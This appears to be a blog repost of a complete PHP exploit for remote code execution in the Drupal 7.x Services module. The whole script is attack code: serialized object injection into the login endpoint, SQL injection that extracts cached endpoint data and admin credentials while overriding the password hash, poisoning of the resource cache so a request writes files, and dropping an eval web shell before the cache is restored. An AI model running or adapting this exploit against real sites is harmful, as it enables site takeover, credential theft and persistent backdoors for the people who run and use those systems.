RCE Drupal 7.x - Module Services ( Web Application Exploit )
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https:
//www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https:
//twitter.com/ambionics
# Website: https:
//www.ambionics.io/blog/drupal-services-module-rce
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https:
//www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache
for
current
endpoint
# along with admin credentials
and
hash
# 2. Alter the cache to allow us to write a file
and
do
so
# 3. Restore the cache
#
# Initialization
error_reporting
(E_ALL);
define(
'QID'
,
'anything'
);
define(
'TYPE_PHP'
,
'application/vnd.php.serialized'
);
define(
'TYPE_JSON'
,
'application/json'
);
define(
'CONTROLLER'
,
'user'
);
define(
'ACTION'
,
'login'
);
$url
=
'http://vmweb.lan/drupal-7.54'
;
$endpoint_path
=
'/rest_endpoint'
;
$endpoint
=
'rest_endpoint'
;
$file
= [
'filename'
=>
'dixuSOspsOUU.php'
,
'data'
=>
'<?php eval(file_get_contents(\'php://input\')); ?>'
];
$browser
=
new
Browser(
$url
.
$endpoint_path
);
# Stage 1: SQL Injection
class
DatabaseCondition
{
protected
$conditions
= [
"#conjunction"
=>
"AND"
];
protected
$arguments
= [];
protected
$changed
= false;
protected
$queryPlaceholderIdentifier
= null;
public
$stringVersion
= null;
public
function
__construct(
$stringVersion
=null)
{
$this
->stringVersion =
$stringVersion
;
if
(!isset(
$stringVersion
))
{
$this
->changed = true;
$this
->stringVersion = null;
}
}
}
class
SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that
$query
->compile() exists
and
(string)
$query
is controlled by
us.
protected
$query
= null;
protected
$uniqueIdentifier
= QID;
protected
$connection
;
protected
$placeholder
= 0;
public
function
__construct(
$sql
)
{
$this
->query =
new
DatabaseCondition(
$sql
);
}
}
$cache_id
=
"services:$endpoint:resources"
;
$sql_cache
=
"SELECT data FROM {cache} WHERE cid='$cache_id'"
;
$password_hash
=
'$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'
;
# Take first user but with a custom password
# Store the original password hash in signature_format,
and
endpoint cache
# in signature
$query
=
"0x3a) UNION SELECT ux.uid AS uid, "
.
"ux.name AS name, '$password_hash' AS pass, "
.
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, "
.
"ux.pass AS signature_format, ux.created AS created, "
.
"ux.access AS access, ux.login AS login, ux.status AS status, "
.
"ux.timezone AS timezone, ux.language AS language, ux.picture "
.
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux "
.
"WHERE ux.uid<>(0"
;
$query
=
new
SelectQueryExtender(
$query
);
$data
= [
'username'
=>
$query
,
'password'
=>
'ouvreboite'
];
$data
= serialize(
$data
);
$json
=
$browser
->post(TYPE_PHP,
$data
);
# If this worked, the rest will
as
well
if
(!isset(
$json
->user))
{
print_r(
$json
);
e(
"Failed to login with fake password"
);
}
# Store session
and
user data
$session
= [
'session_name'
=>
$json
->session_name,
'session_id'
=>
$json
->sessid,
'token'
=>
$json
->token
];
store(
'session'
,
$session
);
$user
=
$json
->user;
# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache
= unserialize(
$user
->signature);
# Reassign fields
$user
->pass =
$user
->signature_format;
unset(
$user
->signature);
unset(
$user
->signature_format);
store(
'user'
,
$user
);
if
(
$cache
=== false)
{
e(
"Unable to obtains endpoint's cache value"
);
}
x(
"Cache contains "
. sizeof(
$cache
) .
" entries"
);
# Stage 2: Change endpoint's behaviour to write a shell
class
DrupalCacheArray
{
# Cache ID
protected
$cid
=
"services:endpoint_name:resources"
;
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected
$bin
=
'cache'
;
protected
$keysToPersist
= [];
protected
$storage
= [];
function
__construct(
$storage
,
$endpoint
,
$controller
,
$action
) {
$settings
= [
'services'
=> [
'resource_api_version'
=>
'1.0'
]
];
$this
->cid =
"services:$endpoint:resources"
;
# If no endpoint is given, just reset the original values
if
(isset(
$controller
))
{
$storage
[
$controller
][
'actions'
][
$action
] = [
'help'
=>
'Writes data to a file'
,
# Callback
function
'callback'
=>
'file_put_contents'
,
# This one does not accept
"true"
as
Drupal does,
# so we just go
for
a tautology
'access callback'
=>
'is_string'
,
'access arguments'
=> [
'a string'
],
# Arguments given through POST
'args'
=> [
0 => [
'name'
=>
'filename'
,
'type'
=>
'string'
,
'description'
=>
'Path to the file'
,
'source'
=> [
'data'
=>
'filename'
],
'optional'
=> false,
],
1 => [
'name'
=>
'data'
,
'type'
=>
'string'
,
'description'
=>
'The data to write'
,
'source'
=> [
'data'
=>
'data'
],
'optional'
=> false,
],
],
'file'
=> [
'type'
=>
'inc'
,
'module'
=>
'services'
,
'name'
=>
'resources/user_resource'
,
],
'endpoint'
=>
$settings
];
$storage
[
$controller
][
'endpoint'
][
'actions'
] += [
$action
=> [
'enabled'
=> 1,
'settings'
=>
$settings
]
];
}
$this
->storage =
$storage
;
$this
->keysToPersist = array_fill_keys(
array_keys
(
$storage
), true);
}
}
class
ThemeRegistry Extends DrupalCacheArray {
protected
$persistable
;
protected
$completeRegistry
;
}
cache_poison(
$endpoint
,
$cache
);
# Write the file
$json
= (
array
)
$browser
->post(TYPE_JSON, json_encode(
$file
));
# Stage 3: Restore endpoint's behaviour
cache_reset(
$endpoint
,
$cache
);
if
(!(isset(
$json
[0]) &&
$json
[0] ===
strlen
(
$file
[
'data'
])))
{
e(
"Failed to write file."
);
}
$file_url
=
$url
.
'/'
.
$file
[
'filename'
];
x(
"File written: $file_url"
);
# HTTP Browser
class
Browser
{
private
$url
;
private
$controller
= CONTROLLER;
private
$action
= ACTION;
function
__construct(
$url
)
{
$this
->url =
$url
;
}
function
post(
$type
,
$data
)
{
$headers
= [
"Accept: "
. TYPE_JSON,
"Content-Type: $type"
,
"Content-Length: "
.
strlen
(
$data
)
];
$url
=
$this
->url .
'/'
.
$this
->controller .
'/'
.
$this
->action;
$s
= curl_init();
curl_setopt(
$s
, CURLOPT_URL,
$url
);
curl_setopt(
$s
, CURLOPT_HTTPHEADER,
$headers
);
curl_setopt(
$s
, CURLOPT_POST, 1);
curl_setopt(
$s
, CURLOPT_POSTFIELDS,
$data
);
curl_setopt(
$s
, CURLOPT_RETURNTRANSFER, true);
curl_setopt(
$s
, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt(
$s
, CURLOPT_SSL_VERIFYPEER, 0);
$output
= curl_exec(
$s
);
$error
= curl_error(
$s
);
curl_close(
$s
);
if
(
$error
)
{
e(
"cURL: $error"
);
}
return
json_decode(
$output
);
}
}
# Cache
function
cache_poison(
$endpoint
,
$cache
)
{
$tr
=
new
ThemeRegistry(
$cache
,
$endpoint
, CONTROLLER, ACTION);
cache_edit(
$tr
);
}
function
cache_reset(
$endpoint
,
$cache
)
{
$tr
=
new
ThemeRegistry(
$cache
,
$endpoint
, null, null);
cache_edit(
$tr
);
}
function
cache_edit(
$tr
)
{
global
$browser
;
$data
= serialize([
$tr
]);
$json
=
$browser
->post(TYPE_PHP,
$data
);
}
# Utils
function
x(
$message
)
{
print
(
"$message\n"
);
}
function
e(
$message
)
{
x(
$message
);
exit
(1);
}
function
store(
$name
,
$data
)
{
$filename
=
"$name.json"
;
file_put_contents
(
$filename
, json_encode(
$data
, JSON_PRETTY_PRINT));
x(
"Stored $name information in $filename"
);
}
RCE Drupal 7.x - Module Services ( Web Application Exploit )
Reviewed by Unknown
on
12:11 PM
Rating:
No comments: